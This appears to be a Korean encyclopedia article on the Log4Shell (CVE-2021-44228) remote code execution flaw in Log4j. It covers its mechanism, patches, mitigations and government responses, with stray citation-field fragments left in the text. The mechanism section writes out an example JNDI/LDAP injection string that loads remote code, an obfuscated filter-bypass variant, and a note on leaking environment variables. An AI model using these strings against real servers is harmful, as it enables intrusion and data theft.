Log4Shell

website = **Log4Shell** 또는 **CVE-2021-44228**는 저명한 자바 로깅 프레임워크 Log4j의 제로 데이 임의 코드 실행 취약점이다.language=enwebsite=cve.mitre.org 이 취약점은 알리바바의 클라우드 보안팀에 의해 2021년 11월 24일 아파치에 비공개로 전달되었으며 2021년 12월 9일 대중에게 공개되었다.work=맥아피access-date=12 December 2021issn=1059-1028 이 취약점은 LDAP과 JNDI 요청을 검사하지 않는 Log4j의 특징을 이용하여,language=enlanguage=en-us 공격자가 임의의 자바 코드를 서버 또는 기타 컴퓨터에서 실행할 수 있게 한다. 영향을 받는 서비스에는 아마존 AWS,website=aws.amazon.com 클라우드플레어, 아이클라우드, 마인크래프트 자바 에디션,work=모장 스튜디오 스팀, 텐센트 QQ가 포함된다.last=Goodin 루나섹(LunaSec)은 이 취약점을 "파멸적 부분의 설계적 실패"로, Tenable은 "지난 10년 이내의 가장 심각한, 단일로서는 최대의 취약점"으로 특징을 지었다.language=en Log4j 프로젝트를 맡는 아파치 소프트웨어 재단은 Log4Shell에 CVSS 점수 최고점인 10점을 부여하였다.website=logging.apache.org
# 배경
Log4j Log4j는 소프트웨어 개발자가 자신의 애플리케이션 안에 다양한 데이터의 로그 기록을 남길 수 있게 하는 오픈 소스 로깅 프레임워크이다. 이 데이터는 사용자 입력을 포함할 수도 있다.publisher=팰로앨토 네트웍스 자바 애플리케이션, 특히 기업용 소프트웨어 전반에 사용된다. 2001년 Ceki Gülcü가 처음 개발한 Log4j는 현재 아파치 소프트웨어 재단 프로젝트의 하나인 아파치 로깅 서비스의 일부이다.website=logging.apache.org
# 동작
JNDI는 프로그램 런타임 시 지정된 데이터 경로의 자바 오브젝트 검색을 허용한다. JNDI는 여러 디렉터리 인터페이스를 지렛대처럼 활용할 수 있으며 각 인터페이스는 각기 다른 파일 검색 스킴을 제공한다. 이 인터페이스들 중에는 자바로 개발되지 않은 프로토콜의 하나인 LDAP이 있으며date=June 2006 이는 로컬이든 인터넷 어느 곳에서든 적절한 서버로부터 오브젝트 데이터를 URL로 받아온다.date=10 December 2021 기본 구성에서 문자열 로그를 기록할 때 Log4j 2는 `${prefix:name}` 형태의 식에 문자열 치환을 수행한다. 예를 들어, `Text: ${java:version}`는 `Text: Java version 1.7.0_67`로 변환될 수 있다.date=6 December 2021 인식되는 식들 중에 `${jndi:}`가 있다. LDAP을 통해 lookup을 지정함으로써 임의의 URL을 조회하고 자바 오브젝트 데이터로 로드할 수 있다. 예를 들어 `${jndi:ldap://example.com/file}`는 인터넷에 연결되어 있다면 해당 URL로부터 데이터를 로드하게 된다. 로깅이 되는 문자열을 입력함으로써 공격자는 퍼블릭 URL에서 호스팅되는 악성 코드를 로드하고 실행할 수 있다. 데이터의 실행을 비활성화해 놓았더라도 공격자는 여전히 기밀 환경 변수 등의 데이터를 (URL 배치를 통해) 받아올 수 있으며 여기서 치환을 거쳐 공격자의 서버로 송신할 수 있다.url-status=date=13 December 2021 HTTP 요청이 자주 로깅되기 때문에 공통 공격 벡터는 악성 문자열을 HTTP 요청 URL이나 흔히 로깅되는 HTTP 헤더(예: `User-Agent`)에 배치시킨다. 초기의 완화 방법에는 "`${jndi`" 등의 잠재적으로 악성일 가능성이 높은 콘텐츠를 포함하는 모든 요청을 차단하는 것이 포함되었다.access-date=13 December 2021 아무렇지 않게 수행한 검색은 요청을 모호하게 만듦으로써 우회가 가능하다: 예를 들어 `${${lower:j}ndi`는 문자 j에 소문자 처리를 수행한 이후 JNDI 룩업으로 변환된다.access-date=12 December 2021 입력이 즉시 로깅되지 않더라도 나중에 내부 처리 중에 로깅한 다음에 콘텐츠의 실행이 가능할 수 있다.
# 완화
이 취약점의 픽스가 취약점이 공표되기 3일 전 2021년 12월 6일 Log4j 버전 2.15.0-rc1에서 출시되었다.access-date=2021-12-12 이 픽스에는 여러 시스템 속성을 사용하여 구성이 가능한 룩업(lookup)에 사용될 수 있는 서버와 프로토콜을 제한하는 것이 포함되었다. 이는 `log4j2.formatMsgNoLookups` 시스템 속성을 대체하였다. 2.10.0 이후의 과거 버전에서는 취약점을 완화하는데 해당 속성을 `true`로 설정하는 것이 권장된다.language=en 2.10.0 이전 버전의 경우 `org.apache.logging.log4j.core.lookup.JndiLookup` 클래스를 클래스패스에서 제거해야 한다. 게다가 JNDI를 사용하는 모든 기능은 2.15.1 이상부터 기본적으로 비활성화된다.website=issues.apache.org 새 버전의 자바 런타임 환경(JRE) 또한 원격 코드의 로드를 기본적으로 차단함으로써 이 취약점을 완화시킨다. 다만 다른 공격 벡터가 여전히 특정 애플리케이션에 존재한다.date=17 January 2017 내장된 자바 패키지에서 취약한 log4j 버전의 이용을 검출하는데 도움을 주는 여러 방식과 도구가 게시되었다.url-status=
# 반응과 영향
미국에서 사이버보안 및 인프라 보안국(CISA)의 감독 젠 이스털리(Jen Easterly)는 이 취약점을 심각한 것으로 보고 벤더들에게 소프트웨어 업데이트를 우선할 것을 충고했다.work=CISA 캐나다 사이버 보안 센터(CCCS)는 단체들에게 즉각적인 조치를 취할 것을 주문했다.url-status= 독일의 연방정보기술보안청(Bundesamt für Sicherheit in der Informationstechnik, BSI)은 이 취약점을 기관 최고의 위협 수준으로 지정하였고 이를 "극히 심각한 위협적 상황"으로 언급하였다. 여러 공격들이 이미 성공적이었음이 밝혀졌고 취약점의 정도가 조사하기 힘든 상황이라고 보고되었다.website=Tagesschauurl-status=dead 클라우드플레어의 CEO 매튜 프린스(Matthew Prince)에 따르면 이 취약점의 이용과 테스트의 증거가 적어도 12월 1일로 거슬러 올라가며 이는 취약점이 공개된지 9일 앞선 것이다.language=en 사이버보안 기업 그레이노이즈에 따르면 여러 IP 주소들이 웹사이트들을 스크랩하여 취약점이 있는 서버를 물색하였다.website=www.greynoise.io 캐나다 국세청은 취약점을 이해한 뒤 일시적으로 온라인 서비스를 종료하였고 퀘벡 정부는 예방 조치의 일환으로서 정부 웹사이트 중 약 4,000개를 폐쇄하였다.access-date=2021-12-12 시스템 관리자들은 이 상황을 조사하고 라이브러리를 업데이트하거나 시스템 속성을 이용하는 룩업을 비활성화함으로써 가능한 조속히 완화 조치를 단행할 것을 충고받았다.work=CISA